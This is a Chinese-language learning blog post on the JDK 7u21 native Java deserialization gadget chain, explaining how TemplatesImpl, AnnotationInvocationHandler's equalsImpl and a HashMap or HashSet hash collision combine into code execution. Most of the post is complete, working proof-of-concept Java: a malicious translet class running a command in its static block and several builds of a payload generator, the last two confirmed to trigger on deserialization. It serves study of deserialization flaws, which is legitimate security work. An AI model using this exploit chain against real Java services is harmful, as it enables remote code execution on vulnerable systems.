JDK7u21原生链

Java学习

JDK 7u21

7u21这条链不需要任何依赖,完全是靠 java 原生类来进行利用。

影响版本:JDK <= 7u21

测试环境:

  • JDK 7u21

idea需要改配置,我前面都是1.8,这里改成JDK7即可,按照下面这个文章来该即可:

https://blog.csdn.net/qq_41813208/article/details/107784268

https://blog.csdn.net/wz1509/article/details/141857535

前置说明

铺垫

这里的JDK7u21还是利用的动态加载字节码,这里可以获取到一个类的方法,先简单给个铺垫知识,在前面CC链的学习其实也用过,我们可以启用一次动态加载字节码的方法有:

  • newTransformer()

image-20240905202844298

  • getOutputProperties()

image-20240905203000286

其实直接用getTransletInstance()方法应该也可以,但是不是很好利用。

上面说的两个方法也定义于Templates.java接口类,如下: image-20240905203200656

也是前面用过的。

AnnotationInvocationHandler

在前面的CC1的LazyMap链中,就利用到了这个类,在那里利用到了这个类的invoke()方法,为了调用到get方法:

image-20240905141646502

但是在这里,我们要利用的是这个类的equalsImpl()方法,同样的是在这个类的invoke()方法中利用,如上图片标注。

equalsImpl()

现在再来看这个equalsImpl()方法: image-20240905154650419

这里调用了invoke()方法,需要var1不是AnnotationInvocationHandler类实例并且需要为type变量的一个类实例才能调用,再来跟进一下前面var2的getMemberMethods()方法:

image-20240905154828587

这里就是获取到type变量里的方法,在AnnotationInvocationHandler类的type变量定义:

image-20240905202130584

我们可以使用反射获取AnnotationInvocationHandler类的构造方法,这样就可以给这个变量定值,所以我们可以尝试将这里的type变量赋值为Templates.class接口类,这样就可以直接获取到想利用的方法。

参考CC1,现在这里就可以再次尝试使用动态代理来调用到这个AnnotationInvocationHandler类的invoke()方法,进而进行其他操作。

HashMap

这里为什么会用到HashMap呢,这是因为这个类的readObject()方法中对代理对象调用了它的方法,如下: image-20240905160102742

进入这个putForCreate()方法: image-20240905160201185

只要满足前面的条件,这里就可以成功对这个key调用equals()方法,只要我们将这个key设置为AnnotationInvocationHandler的代理对象,就可以成功调用到这个AnnotationInvocationHandler类的invoke()方法

同理感觉HashSet,Hashtable也能构造,只要能使调用的方法为equals()方法即可调用equalsImpl()方法: image-20240905171659714

简单说明一下参数问题:key.equals(k);,当跳转到AnnotationInvocationHandler类的invoke()方法时,这里对应的参数分别为

  • var2(方法名):equals
  • va3(参数):k

所以结合前面invoke()方法,这里的k需要为TemplatesImpl类的实例,对应的就是前一个put进的值:

image-20240905212438076

这张图说的很清楚了,所以我们需要put进两个值,并且前一个需要为templateImpl类的实例,另一个为代理对象。

现在可以敲定基本框架了,大概想一下流程,反序:

  • 放键值对到其中。
  • 调用到AnntationInvocationHandler的invoke()方法
  • 调用equalsImpl()方法
  • 调用getMemberMethods()方法获取到type的class对象中的方法。
  • 执行invoke来动态加载字节码

攻击构造

HashMap

基本盘

Test.java:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package jdk.local;

import java.io.IOException;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Test extends AbstractTranslet  {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
}

Main.java:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package jdk.local;

import java.nio.file.Files;
import java.nio.file.Paths;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;

public class Main{
    public static void main(String[] main) throws Exception{
        byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\jdk\\local\\Test.class"));
        TemplatesImpl ctf = new TemplatesImpl();
        setFieldValue(ctf,"_name","fupanc");
        setFieldValue(ctf,"_bytecodes",new byte[][]{code});
        setFieldValue(ctf, "_class", null);
        setFieldValue(ctf, "_tfactory", new TransformerFactoryImpl());
    }
    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

现在就是看如何将这个配置好了的恶意字节码能被利用到。

反序列化部分

先从反序分析起:

image-20240905162320600

这里就是从序列化数据中提取出键值,然后调用putForCreate()方法尝试将其放入键值表中,继续跟进这个putForCeate()方法: image-20240905162740133

重点还是标注出来的地方。

  • 首先就是hash值的设定,那里的逻辑就是如果 key为null,那么hash值就为0,否则就是调用hash()方法来计算key的的哈希值。

跟进一下这里的hash()方法,算法如下:

image-20240905163112378

  • 其次就是后面的if条件内的判断。java中的&&运算符会按前后顺序执行,并且需要前面的真才会执行后面。而后面的||运算符只要一个为真即可。

所以在这里我们需要满足前面的hash值条件为真。就可以执行后面的语句。

问题一(hash值)

hash值相同的问题。

结合前面的分析及CC链的学习,我们这里需要put进两个值,并且第二个值为一个代理对象。

现在来看一下hash值的计算问题。回到hash计算部分代码:

image-20240905164247322

思考一下,第一个值就是直接调用它的hashCode()方法,第二个put进的值需要为代理对象。先跟第二个键值对的计算方法: image-20240905164624968

由于我们传入的k是AnnotationInvocationHandle代理对象,所以这里调用hashCode()方法就会到AnnotationInvocationHandler类的invoke()方法,就会调用到hashCodeImpl()方法:

image-20240905171756663

跟进这个hashCodeImpl()方法: image-20240905171854339

这个方法声明了一个Map.Entry类型的var3,然后创建了一个迭代器var2,用于遍历this.memberrValues变量的条目集,所以这里的membeValues应该为一个Map对象,我们可以用一个HashMap实例来代表。

如果 membeValues 只有一个键值对,该hash就等于127 * key.hashCode() ^ value.hashCode(),而当key.hashCode为0,任何数异或0的结果仍是他本身: image-20240905180751035

在ysoserial项目提供了一个字符串f5a5a608,其hashCode值正好为0。所以该hash计算可以简化成value.hashCode,

重点来了,前面我们说过了put进的第一个值需要为TemplatesImpl类的实例,所以前面在计算hash值调用的hash()方法中,计算方式就是templatesImpl.hashCode()

而只要我们将value设置为TemplatesImpl对象,就能实现Proxy.hashCode等于TemplatesImpl.hashCode,也就是第二个的计算方式也是templatesImpl.hashCode()

这样就能成功通过hash值相同的问题。

——————————

问题解决,尝试构造:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package jdk.local;

import java.nio.file.Files;
import java.nio.file.Paths;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.lang.reflect.Constructor;
import java.util.Map;
import javax.xml.transform.Templates;
import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.io.FileInputStream;
import java.io.FileOutputStream;

public class Main{
    public static void main(String[] main) throws Exception{
        byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\jdk\\local\\Test.class"));
        TemplatesImpl ctf = new TemplatesImpl();
        setFieldValue(ctf,"_name","fupanc");
        setFieldValue(ctf,"_bytecodes",new byte[][]{code});
        setFieldValue(ctf, "_class", null);
        setFieldValue(ctf, "_tfactory", new TransformerFactoryImpl());

        HashMap hashMap = new HashMap();
        hashMap.put("f5a5a608",ctf);

        Constructor constructor1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
        constructor1.setAccessible(true);
        InvocationHandler instance = (InvocationHandler)constructor1.newInstance(Templates.class,hashMap);

        Class[] interfaces = ctf.getClass().getInterfaces();
        Templates proxy = (Templates)Proxy.newProxyInstance(Templates.class.getClassLoader(),interfaces,instance);

        HashMap hash = new HashMap();
        hash.put(ctf,111);
        hash.put(proxy,111);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(hash);
        out.close();

        ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
        input.readObject();
        input.close();

    }
    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

弹出一个计算机。看了一下,确实是序列化之前造成的,HashMap的put()会调用,老生常谈了: image-20240905221045935

解决方法就是将最开始加入templatesImpl类实例的地方不要加入,让hash值直接不相同:

image-20240905221206865

改成下面的POC试试:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
package jdk.local;

import java.nio.file.Files;
import java.nio.file.Paths;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.lang.reflect.Constructor;
import java.util.Map;
import javax.xml.transform.Templates;
import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.io.FileInputStream;
import java.io.FileOutputStream;

public class Main{
    public static void main(String[] main) throws Exception{
        byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\jdk\\local\\Test.class"));
        TemplatesImpl ctf = new TemplatesImpl();
        setFieldValue(ctf,"_name","fupanc");
        setFieldValue(ctf,"_bytecodes",new byte[][]{code});
        setFieldValue(ctf, "_class", null);
        setFieldValue(ctf, "_tfactory", new TransformerFactoryImpl());

        HashMap hashMap = new HashMap();
        //这个不能删,再调用一次修改值即可
        hashMap.put("f5a5a608","fupanc");

        Constructor constructor1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
        constructor1.setAccessible(true);
        InvocationHandler instance = (InvocationHandler)constructor1.newInstance(Templates.class,hashMap);

        Class[] interfaces = ctf.getClass().getInterfaces();
        Templates proxy = (Templates)Proxy.newProxyInstance(Templates.class.getClassLoader(),interfaces,instance);

        HashMap hash = new HashMap();
        hash.put(ctf,111);
        hash.put(proxy,111);

        hashMap.put("f5a5a608",ctf);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(hash);
        out.close();

        ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
        input.readObject();
        input.close();

    }
    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

还是不行,看了一下其他师傅的文章,说是在最后的HashMap中放入ctf和proxy时调换一下位置即可,即如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
package java_foundation;

import java.nio.file.Files;
import java.nio.file.Paths;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.lang.reflect.Constructor;
import java.util.Map;
import javax.xml.transform.Templates;
import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.io.FileInputStream;
import java.io.FileOutputStream;

public class Main{
    public static void main(String[] main) throws Exception{
        byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\Test.class"));
        TemplatesImpl ctf = new TemplatesImpl();
        setFieldValue(ctf,"_name","fupanc");
        setFieldValue(ctf,"_bytecodes",new byte[][]{code});
        setFieldValue(ctf, "_class", null);
        setFieldValue(ctf, "_tfactory", new TransformerFactoryImpl());

        HashMap hashMap = new HashMap();

        hashMap.put("f5a5a608",ctf);

        Constructor constructor1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
        constructor1.setAccessible(true);
        InvocationHandler instance = (InvocationHandler)constructor1.newInstance(Templates.class,hashMap);

        Class[] interfaces = ctf.getClass().getInterfaces();
        Templates proxy = (Templates)Proxy.newProxyInstance(Templates.class.getClassLoader(),interfaces,instance);

        HashMap hash = new HashMap();
        hash.put(proxy,111);
        hash.put(ctf,111);


        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(hash);
        out.close();

        ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
        input.readObject();
        input.close();

    }
    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

运行调试后发现确实是反序列化时弹出来的计算机,并且在序列化之前也没有弹出计算机。

————

后面想了一下,这样不就与之前分析的不一样了吗。百思不得其解。

然后就一直调试,最后在发现,实在反序列化时出现了问题。

HashMap反序列化时的问题:

image-20250111002553182

从代码中可以知道,这里是一个放入键值对的地方,但是我想当然地想着这里会按照顺序来放入键值对,调试如下(以上面正确的代码为例):

先放入的键值对如下:

image-20250111002931548

然后继续再一次断于这个点,放入的键值对如下:

image-20250111003227778

也就是proxy中存在的hashMap。

然后继续再一次断于这个点,键值对如下:

image-20250111002801293

可以看到最后才是这个proxy,而我们的放入的操作为: image-20250111003110160

是先放入的proxy再放入的ctf,但是这里的反序列化时的顺序是不一样的,我们想利用的代码如下:

image-20250111003320997

所以是需要key为proxy代理对象的,但是序列化和反序列化的顺序是不同的,所以这里需要先放入proxy,后放入ctf,这样,也就不会导致序列化之前的弹计算机了。

如果按照之前的顺序,那么确实是会在序列化之前弹出计算机,符合弹计算机的条件。

但是在反序列化时,HashMap的顺序就是 hashMap里的键值对 ==》hash中的proxy 键值对 ==>hash中的ctf(TemplatesImpl键值对)。并且调试后也符合情况。

然后我在JDK8也试了一下,也是先反序列化的第二个键值对,但是测试的键值对都是以一个类实例为key,问了一下,原因大概如下:

这个是因为HashMap序列化和反序列化时本身其顺序就可能不同,其顺序时基于哈希值来决定的,所以这里可能就与环境有关了。也许在某个环境我最开始的那个先放入fupanc再修改为ctf的方法也是有用的呢(反正刚学的时候应该是可以的,这里再重看的时候不行了)。反正多试。

为了验证想法,使用如下POC来验证:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import java.util.HashMap;
import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.io.FileInputStream;
import java.io.FileOutputStream;

public class Main{
    public static void main(String[] main) throws Exception{
//        TemplatesImpl ctf = new TemplatesImpl();
//
//        HashMap hashMap = new HashMap();

        HashMap hash = new HashMap();
        hash.put("fupanc1",111);
        hash.put("fupanc2",111);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(hash);
        out.close();

        ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
        input.readObject();
        input.close();
    }
}

这样在反序列化时就是先放入的第一个,再放入的第二个。

——————

基于现在的情况,那么现在序列化前的流程肯定也要变,简单跟一下: 还是直接断于hash中第二次放入键值对的代码,如下:

image-20250111004503777

可以知道这里的hash值时肯定相同的,具体流程和之前分析的不一样,但是此时的调用equals()方法就有区别了,这里的TemplatesImpl类没有定义equals()方法,这里会直接调用到Object.java类的equals()方法:

image-20250111004802557

从变量的值来看,这里是会返回false的,然后直接就会成功放入第二个键值对。

所以最终的POC如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package java_foundation;

import java.nio.file.Files;
import java.nio.file.Paths;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.lang.reflect.Constructor;
import java.util.Map;
import javax.xml.transform.Templates;
import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.io.FileInputStream;
import java.io.FileOutputStream;

public class Main{
    public static void main(String[] main) throws Exception{
        byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\Test.class"));
        TemplatesImpl ctf = new TemplatesImpl();
        setFieldValue(ctf,"_name","fupanc");
        setFieldValue(ctf,"_bytecodes",new byte[][]{code});
        setFieldValue(ctf, "_class", null);
        setFieldValue(ctf, "_tfactory", new TransformerFactoryImpl());

        HashMap hashMap = new HashMap();

        hashMap.put("f5a5a608",ctf);

        Constructor constructor1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
        constructor1.setAccessible(true);
        InvocationHandler instance = (InvocationHandler)constructor1.newInstance(Templates.class,hashMap);

        Class[] interfaces = ctf.getClass().getInterfaces();
        Templates proxy = (Templates)Proxy.newProxyInstance(Templates.class.getClassLoader(),interfaces,instance);

        HashMap hash = new HashMap();
        hash.put(proxy,111);
        hash.put(ctf,111);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(hash);
        out.close();

        ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
        input.readObject();
        input.close();

    }
    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

HashSet

HashSet本来就和HashMap差不多,并且反序列化时也是先反序列化的第二个键值对。readObject内容为:

image-20250111005247940

可以看到其实就是调用的HashMap的put()方法,这个也是前面分析过了的,最终POC如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
package java_foundation;

import java.nio.file.Files;
import java.nio.file.Paths;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.lang.reflect.Constructor;
import java.util.Map;
import javax.xml.transform.Templates;
import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.io.FileInputStream;
import java.io.FileOutputStream;

public class Main{
    public static void main(String[] main) throws Exception{
        byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\Test.class"));
        TemplatesImpl ctf = new TemplatesImpl();
        setFieldValue(ctf,"_name","fupanc");
        setFieldValue(ctf,"_bytecodes",new byte[][]{code});
        setFieldValue(ctf, "_class", null);
        setFieldValue(ctf, "_tfactory", new TransformerFactoryImpl());

        HashMap hashMap = new HashMap();

        hashMap.put("f5a5a608",ctf);

        Constructor constructor1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
        constructor1.setAccessible(true);
        InvocationHandler instance = (InvocationHandler)constructor1.newInstance(Templates.class,hashMap);

        Class[] interfaces = ctf.getClass().getInterfaces();
        Templates proxy = (Templates)Proxy.newProxyInstance(Templates.class.getClassLoader(),interfaces,instance);

        HashSet hash = new HashSet();
        hash.add(proxy);
        hash.add(ctf);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(hash);
        out.close();

        ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
        input.readObject();
        input.close();

    }
    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

成功在反序列化时弹计算机。

其实在可以利用equals()方法的地方,只要JDK版本符合 <= 7u21 ,都要想到这个原生链,比如ROME链的第三条就有用到equals()方法,大同小异。

Licensed under CC BY-NC-SA 4.0
使用 Hugo 构建
主题 StackJimmy 设计